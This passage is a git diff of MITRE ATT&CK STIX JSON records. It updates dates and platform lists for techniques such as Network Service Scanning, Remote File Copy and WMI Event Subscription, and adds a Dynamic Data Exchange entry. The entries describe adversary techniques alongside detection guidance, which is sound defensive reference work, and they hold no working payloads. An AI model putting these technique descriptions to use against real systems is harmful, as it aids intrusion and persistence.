for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network\n\nPermissions Required: User, Administrator, SYSTEM",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -34,26 +34,14 @@
                 "Process use of network"
             ],
             "x_mitre_permissions_required": [
+                "User",
                 "Administrator",
-                "SYSTEM",
-                "User"
+                "SYSTEM"
             ],
             "x_mitre_platforms": [
                 "Linux",
-                "MacOS",
-                "OS X",
-                "Windows 10",
-                "Windows 7",
-                "Windows 8",
-                "Windows 8.1",
-                "Windows Server 2003",
-                "Windows Server 2003 R2",
-                "Windows Server 2008",
-                "Windows Server 2008 R2",
-                "Windows Server 2012",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows XP"
+                "macOS",
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88.json b/enterprise-attack/attack-pattern/attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88.json
index 847f72f382..477c759a88 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5b144669-6fca-4660-aed1-102039bab3f2",
+    "id": "bundle--a7078011-1467-4c69-8688-227a60224f8e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:43.915Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Network Service Scanning",
-            "description": "Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans using tools that are brought onto a system.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events from legitimate remote service scanning may be uncommon, depending on the environment and how they are used. Legitimate open port and vulnerability scanning may be conducted within the environment and will need to be deconflicted with any detection capabilities developed. Network intrusion detection systems can also be used to identify scanning activity. Monitor for process use of the networks and inspect intra-network flows to detect port scans.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process use of network\n\nPermissions Required: User, Administrator, SYSTEM",
+            "description": "Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans using tools that are brought onto a system.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events from legitimate remote service scanning may be uncommon, depending on the environment and how they are used. Legitimate open port and vulnerability scanning may be conducted within the environment and will need to be deconflicted with any detection capabilities developed. Network intrusion detection systems can also be used to identify scanning activity. Monitor for process use of the networks and inspect intra-network flows to detect port scans.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process use of network\n\nPermissions Required: User, Administrator, SYSTEM",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -40,21 +40,9 @@
                 "SYSTEM"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10",
                 "Linux",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--e6415f09-df0e-48de-9aba-928c902b7549.json b/enterprise-attack/attack-pattern/attack-pattern--e6415f09-df0e-48de-9aba-928c902b7549.json
index b94ee86dee..f45fb670e3 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--e6415f09-df0e-48de-9aba-928c902b7549.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--e6415f09-df0e-48de-9aba-928c902b7549.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a1b27196-a503-40bd-b95d-01f15f3a50dc",
+    "id": "bundle--3be5a323-e79b-413f-8993-89fc6906d26d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--e6415f09-df0e-48de-9aba-928c902b7549",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:46.461Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Exfiltration Over Physical Medium",
-            "description": "In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a physical medium or device introduced by a user. Such media could be an external hard drive, USB drive, cellular phone, MP3 player, or other removable storage and processing device. The physical medium or device could be used as the final exfiltration point or to hop between otherwise disconnected systems.\n\nDetection: Monitor file access on removable media. Detect processes that execute when removable media are mounted.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Data loss prevention, File monitoring\n\nSystem Requirements: Presence of physical medium or device\n\nRequires Network: No",
+            "description": "In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a physical medium or device introduced by a user. Such media could be an external hard drive, USB drive, cellular phone, MP3 player, or other removable storage and processing device. The physical medium or device could be used as the final exfiltration point or to hop between otherwise disconnected systems.\n\nDetection: Monitor file access on removable media. Detect processes that execute when removable media are mounted.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Data loss prevention, File monitoring\n\nSystem Requirements: Presence of physical medium or device\n\nRequires Network: No",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -33,21 +33,9 @@
             ],
             "x_mitre_network_requirements": false,
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ],
             "x_mitre_system_requirements": [
                 "Presence of physical medium or device"
diff --git a/enterprise-attack/attack-pattern/attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add.json b/enterprise-attack/attack-pattern/attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add.json
index 153a9e35c0..79f0a52976 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--578ee090-eed2-4ae2-afd2-0b125f37745a",
+    "id": "bundle--06795b3e-21b7-4545-95c5-73c4ddb558cc",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:16.408Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Remote File Copy",
-            "description": "Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. Files may be copied from an external adversary-controlled system through the Command and Control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.\n\nAdversaries may also copy files laterally between internal victim systems to support Lateral Movement with remote Execution using inherent file sharing protocols such as file sharing over SMB to connected network shares or with authenticated connections with Windows Admin Shares or Remote Desktop Protocol.\n\nDetection: Monitor for file creation and files transferred within a network over SMB. Unusual processes with external network connections creating files on-system may be suspicious. Use of utilities, such as FTP, that does not normally occur may also be suspicious.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: File monitoring, Packet capture, Process use of network, Netflow/Enclave netflow, Network protocol analysis, Process monitoring\n\nPermissions Required: User\n\nRequires Network: Yes",
+            "description": "Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. Files may be copied from an external adversary-controlled system through the Command and Control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.\n\nAdversaries may also copy files laterally between internal victim systems to support Lateral Movement with remote Execution using inherent file sharing protocols such as file sharing over SMB to connected network shares or with authenticated connections with Windows Admin Shares or Remote Desktop Protocol.\n\nDetection: Monitor for file creation and files transferred within a network over SMB. Unusual processes with external network connections creating files on-system may be suspicious. Use of utilities, such as FTP, that does not normally occur may also be suspicious.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Packet capture, Process use of network, Netflow/Enclave netflow, Network protocol analysis, Process monitoring\n\nPermissions Required: User\n\nRequires Network: Yes",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -49,21 +49,9 @@
                 "User"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--e7eab98d-ae11-4491-bd28-a53ba875865a.json b/enterprise-attack/attack-pattern/attack-pattern--e7eab98d-ae11-4491-bd28-a53ba875865a.json
index d7376f93e0..7f70cb547e 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--e7eab98d-ae11-4491-bd28-a53ba875865a.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--e7eab98d-ae11-4491-bd28-a53ba875865a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2717a427-f6b0-46e6-b6ed-8e44503f8033",
+    "id": "bundle--20aa3625-fcd9-40d8-8c2a-6a086a30c02d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--e7eab98d-ae11-4491-bd28-a53ba875865a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:38.350Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Network Share Connection Removal",
-            "description": "Windows shared drive and Windows Admin Shares connections can be removed when no longer needed. Net is an example utility that can be used to remove network share connections with the <code>net use \\\\system\\share /delete</code> command. (Citation: Technet Net Use)\n\nAdversaries may remove share connections that are no longer useful in order to clean up traces of their operation.\n\nDetection: Network share connections may be common depending on how an network environment is used. Monitor command-line invocation of <code>net use</code> commands associated with establishing and removing remote shares over SMB, including following best practices for detection of Windows Admin Shares. SMB traffic between systems may also be captured and decoded to look for related network share session and file transfer activity. Windows authentication logs are also useful in determining when authenticated network shares are established and by which account, and can be used to correlate network share activity to other events to investigate potentially malicious activity.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Process monitoring, Process command-line parameters, Packet capture, Authentication logs\n\nDefense Bypassed: Host forensic analysis\n\nPermissions Required: User, Administrator\n\nSystem Requirements: Established network share connection to a remote system. Level of access depends on permissions of the account used.",
+            "description": "Windows shared drive and Windows Admin Shares connections can be removed when no longer needed. Net is an example utility that can be used to remove network share connections with the <code>net use \\\\system\\share /delete</code> command. (Citation: Technet Net Use)\n\nAdversaries may remove share connections that are no longer useful in order to clean up traces of their operation.\n\nDetection: Network share connections may be common depending on how an network environment is used. Monitor command-line invocation of <code>net use</code> commands associated with establishing and removing remote shares over SMB, including following best practices for detection of Windows Admin Shares. SMB traffic between systems may also be captured and decoded to look for related network share session and file transfer activity. Windows authentication logs are also useful in determining when authenticated network shares are established and by which account, and can be used to correlate network share activity to other events to investigate potentially malicious activity.\n\nPlatforms: Windows\n\nData Sources: Process monitoring, Process command-line parameters, Packet capture, Authentication logs\n\nDefense Bypassed: Host forensic analysis\n\nPermissions Required: User, Administrator\n\nSystem Requirements: Established network share connection to a remote system. Level of access depends on permissions of the account used.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -46,18 +46,7 @@
                 "Administrator"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ],
             "x_mitre_system_requirements": [
                 "Established network share connection to a remote system. Level of access depends on permissions of the account used."
diff --git a/enterprise-attack/attack-pattern/attack-pattern--e906ae4d-1d3a-4675-be23-22f7311c0da4.json b/enterprise-attack/attack-pattern/attack-pattern--e906ae4d-1d3a-4675-be23-22f7311c0da4.json
index fb206a8d3b..237946d1f8 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--e906ae4d-1d3a-4675-be23-22f7311c0da4.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--e906ae4d-1d3a-4675-be23-22f7311c0da4.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d8eb778b-0843-4d58-89ae-1be4bcc16a2a",
+    "id": "bundle--9cc04a28-6635-4ee4-a646-9ede5711ed09",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--e906ae4d-1d3a-4675-be23-22f7311c0da4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:05.140Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Windows Management Instrumentation Event Subscription",
-            "description": "Windows Management Instrumentation (WMI) can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. Adversaries may attempt to evade detection of this technique by compiling WMI scripts. (Citation: Dell WMI Persistence) Examples of events that may be subscribed to are the wall clock time or the computer's uptime. (Citation: Kazanciyan 2014) Several threat groups have reportedly used this technique to maintain persistence. (Citation: Mandiant M-Trends 2015)\n\nDetection: Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence. (Citation: TechNet Autoruns)\n\nPlatforms: Windows 10, Windows 7, Windows 8, Windows 8.1, Windows Server 2003, Windows Server 2003 R2, Windows Server 2008, Windows Server 2008 R2, Windows Server 2012, Windows Server 2012 R2, Windows Vista, Windows XP\n\nData Sources: WMI Objects\n\nPermissions Required: Administrator, SYSTEM",
+            "description": "Windows Management Instrumentation (WMI) can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. Adversaries may attempt to evade detection of this technique by compiling WMI scripts. (Citation: Dell WMI Persistence) Examples of events that may be subscribed to are the wall clock time or the computer's uptime. (Citation: Kazanciyan 2014) Several threat groups have reportedly used this technique to maintain persistence. (Citation: Mandiant M-Trends 2015)\n\nDetection: Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence. (Citation: TechNet Autoruns)\n\nPlatforms: Windows\n\nData Sources: WMI Objects\n\nPermissions Required: Administrator, SYSTEM",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -55,18 +55,7 @@
                 "SYSTEM"
             ],
             "x_mitre_platforms": [
-                "Windows 10",
-                "Windows 7",
-                "Windows 8",
-                "Windows 8.1",
-                "Windows Server 2003",
-                "Windows Server 2003 R2",
-                "Windows Server 2008",
-                "Windows Server 2008 R2",
-                "Windows Server 2012",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows XP"
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--e99ec083-abdd-48de-ad87-4dbf6f8ba2a4.json b/enterprise-attack/attack-pattern/attack-pattern--e99ec083-abdd-48de-ad87-4dbf6f8ba2a4.json
index 02a563d6d2..df03f7a6ff 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--e99ec083-abdd-48de-ad87-4dbf6f8ba2a4.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--e99ec083-abdd-48de-ad87-4dbf6f8ba2a4.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--843d8294-47e5-4a3b-a886-c547a2fc7fcc",
+    "id": "bundle--6e93699e-8a42-4b76-9fcc-fdd21092f1a1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--e99ec083-abdd-48de-ad87-4dbf6f8ba2a4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Launch Daemon",
-            "description": "Per Apple\u2019s developer documentation, when macOS and OS X boot up, launchd is run to finish system initialization. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in <code>/System/Library/LaunchDaemons</code> and <code>/Library/LaunchDaemons</code> (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).\n \nAdversaries may install a new launch daemon that can be configured to execute at startup by using launchd or launchctl to load a plist into the appropriate directories (Citation: OSX Malware Detection). The daemon name may be disguised by using a name from a related operating system or benign software  (Citation: WireLurker). Launch Daemons may be created with administrator privileges, but are executed under root privileges, so an adversary may also use a service to escalate privileges from administrator to root.\n \nThe plist file permissions must be root:wheel, but the script or program that it points to has no such requirement. So, it is possible for poor configurations to allow an adversary to modify a current Launch Daemon\u2019s executable and gain persistence or Privilege Escalation.\n\nDetection: Monitor Launch Daemon creation through additional plist files and utilities such as Objective-See's Knock Knock application.\n\nPlatforms: MacOS, OS X\n\nData Sources: Process Monitoring, File monitoring\n\nEffective Permissions: root\n\nPermissions Required: Administrator",
+            "description": "Per Apple\u2019s developer documentation, when macOS and OS X boot up, launchd is run to finish system initialization. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in <code>/System/Library/LaunchDaemons</code> and <code>/Library/LaunchDaemons</code> (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).\n \nAdversaries may install a new launch daemon that can be configured to execute at startup by using launchd or launchctl to load a plist into the appropriate directories (Citation: OSX Malware Detection). The daemon name may be disguised by using a name from a related operating system or benign software  (Citation: WireLurker). Launch Daemons may be created with administrator privileges, but are executed under root privileges, so an adversary may also use a service to escalate privileges from administrator to root.\n \nThe plist file permissions must be root:wheel, but the script or program that it points to has no such requirement. So, it is possible for poor configurations to allow an adversary to modify a current Launch Daemon\u2019s executable and gain persistence or Privilege Escalation.\n\nDetection: Monitor Launch Daemon creation through additional plist files and utilities such as Objective-See's Knock Knock application.\n\nPlatforms: macOS\n\nData Sources: Process Monitoring, File monitoring\n\nEffective Permissions: root\n\nPermissions Required: Administrator",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -62,8 +62,7 @@
                 "Administrator"
             ],
             "x_mitre_platforms": [
-                "MacOS",
-                "OS X"
+                "macOS"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0.json b/enterprise-attack/attack-pattern/attack-pattern--edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0.json
new file mode 100644
index 0000000000..05b964179c
--- /dev/null
+++ b/enterprise-attack/attack-pattern/attack-pattern--edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0.json
@@ -0,0 +1,71 @@
+{
+    "type": "bundle",
+    "id": "bundle--fe93f1f2-a86f-4d0b-828c-15de9f35d48f",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "attack-pattern",
+            "id": "attack-pattern--edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Dynamic Data Exchange",
+            "description": "Windows Dynamic Data Exchange (DDE) is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.\n\nObject Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by COM, DDE is still enabled in Windows 10 and most of Microsoft Office 2016 (a December 2017 patch created a Registry key that disables DDE in Word by default). (Citation: BleepingComputer DDE Disabled in Word Dec 2017)\n\nAdversaries may use DDE to execute arbitrary commands. Microsoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014) and used to deliver execution via spear phishing campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to command line execution.\n\nDetection: OLE and Office Open XML files can be scanned for \u2018DDEAUTO', \u2018DDE\u2019, and other strings indicative of DDE execution. (Citation: NVisio Labs DDE Detection Oct 2017)\n\nMonitor for Microsoft Office applications loading DLLs and other modules not typically associated with the application.\n\nMonitor for spawning of unusual processes (such as cmd.exe) from Microsoft Office applications.\n\nPlatforms: Windows\n\nData Sources: API monitoring, DLL monitoring, Process Monitoring, Windows Registry, Windows event logs\n\nPermissions Required: User\n\nRemote Support: No",
+            "kill_chain_phases": [
+                {
+                    "kill_chain_name": "mitre-attack",
+                    "phase_name": "execution"
+                }
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1173",
+                    "external_id": "T1173"
+                },
+                {
+                    "source_name": "BleepingComputer DDE Disabled in Word Dec 2017",
+                    "description": "Cimpanu, C. (2017, December 15). Microsoft Disables DDE Feature in Word to Prevent Further Malware Attacks. Retrieved December 19, 2017.",
+                    "url": "https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/"
+                },
+                {
+                    "source_name": "SensePost PS DDE May 2016",
+                    "description": "El-Sherei, S. (2016, May 20). PowerShell, C-Sharp and DDE The Power Within. Retrieved November 22, 2017.",
+                    "url": "https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/"
+                },
+                {
+                    "source_name": "Kettle CSV DDE Aug 2014",
+                    "description": "Kettle, J. (2014, August 29). Comma Separated Vulnerabilities. Retrieved November 22, 2017.",
+                    "url": "https://www.contextis.com/blog/comma-separated-vulnerabilities"
+                },
+                {
+                    "source_name": "SensePost MacroLess DDE Oct 2017",
+                    "description": "Stalmans, E., El-Sherei, S. (2017, October 9). Macro-less Code Exec in MSWord. Retrieved November 21, 2017.",
+                    "url": "https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/"
+                },
+                {
+                    "source_name": "NVisio Labs DDE Detection Oct 2017",
+                    "description": "NVISO Labs. (2017, October 11). Detecting DDE in MS Office documents. Retrieved November 21, 2017.",
+                    "url": "https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_data_sources": [
+                "API monitoring",
+                "DLL monitoring",
+                "Process Monitoring",
+                "Windows Registry",
+                "Windows event logs"
+            ],
+            "x_mitre_permissions_required": [
+                "User"
+            ],
+            "x_mitre_platforms": [
+                "Windows"
+            ],
+            "x_mitre_remote_support": false
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/attack-pattern/attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433.json b/enterprise-attack/attack-pattern/attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433.json
index 259b431696..8958d988d3 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--28dec6f0-2e58-4131-87be-9e41b32e6b6d",
+    "id": "bundle--b0cf11bb-709d-4c52-b580-e5419c4ed4bc",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:21.689Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Fallback Channels",
-            "description": "Adversaries may use fallback or alternate communication channels if the primary channel is compromised or inaccessible in order to maintain reliable command and control and to avoid data transfer thresholds.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Packet capture, Netflow/Enclave netflow, Malware reverse engineering, Process use of network, Process monitoring\n\nRequires Network: Yes",
+            "description": "Adversaries may use fallback or alternate communication channels if the primary channel is compromised or inaccessible in order to maintain reliable command and control and to avoid data transfer thresholds.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Netflow/Enclave netflow, Malware reverse engineering, Process use of network, Process monitoring\n\nRequires Network: Yes",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -41,21 +41,9 @@
             ],
             "x_mitre_network_requirements": true,
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--f2d44246-91f1-478a-b6c8-1227e0ca109d.json b/enterprise-attack/attack-pattern/attack-pattern--f2d44246-91f1-478a-b6c8-1227e0ca109d.json
index e620065d5b..c203b64147 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--f2d44246-91f1-478a-b6c8-1227e0ca109d.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--f2d44246-91f1-478a-b6c8-1227e0ca109d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
